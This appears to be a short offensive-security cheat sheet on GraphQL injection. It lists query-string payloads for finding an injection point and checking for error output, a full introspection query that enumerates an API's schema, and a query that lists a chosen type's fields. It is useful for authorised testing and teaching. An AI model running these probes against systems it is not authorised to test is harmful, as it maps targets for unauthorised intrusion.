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# GraphQL injection | ||
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GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. | ||
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## Exploit | ||
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Identify an injection point | ||
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``` | ||
?param={__schema{types{name}}} | ||
``` | ||
Check if errors are visible | ||
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``` | ||
?param={__schema} | ||
?param={} | ||
?param={thisdefinitelydoesnotexist} | ||
``` | ||
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Enumerate Database Schema with the following GraphQL query | ||
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``` | ||
fragment FullType on __Type { | ||
kind | ||
name | ||
description | ||
fields(includeDeprecated: true) { | ||
name | ||
description | ||
args { | ||
...InputValue | ||
} | ||
type { | ||
...TypeRef | ||
} | ||
isDeprecated | ||
deprecationReason | ||
} | ||
inputFields { | ||
...InputValue | ||
} | ||
interfaces { | ||
...TypeRef | ||
} | ||
enumValues(includeDeprecated: true) { | ||
name | ||
description | ||
isDeprecated | ||
deprecationReason | ||
} | ||
possibleTypes { | ||
...TypeRef | ||
} | ||
} | ||
fragment InputValue on __InputValue { | ||
name | ||
description | ||
type { | ||
...TypeRef | ||
} | ||
defaultValue | ||
} | ||
fragment TypeRef on __Type { | ||
kind | ||
name | ||
ofType { | ||
kind | ||
name | ||
ofType { | ||
kind | ||
name | ||
ofType { | ||
kind | ||
name | ||
ofType { | ||
kind | ||
name | ||
ofType { | ||
kind | ||
name | ||
ofType { | ||
kind | ||
name | ||
ofType { | ||
kind | ||
name | ||
} | ||
} | ||
} | ||
} | ||
} | ||
} | ||
} | ||
} | ||
query IntrospectionQuery { | ||
__schema { | ||
queryType { | ||
name | ||
} | ||
mutationType { | ||
name | ||
} | ||
types { | ||
...FullType | ||
} | ||
directives { | ||
name | ||
description | ||
locations | ||
args { | ||
...InputValue | ||
} | ||
} | ||
} | ||
} | ||
``` | ||
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Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type | ||
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``` | ||
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}} | ||
``` | ||
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## References | ||
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* [Introduction to GraphQL](https://graphql.org/learn/) | ||
* [GraphQL Introspection](https://graphql.org/learn/introspection/) | ||
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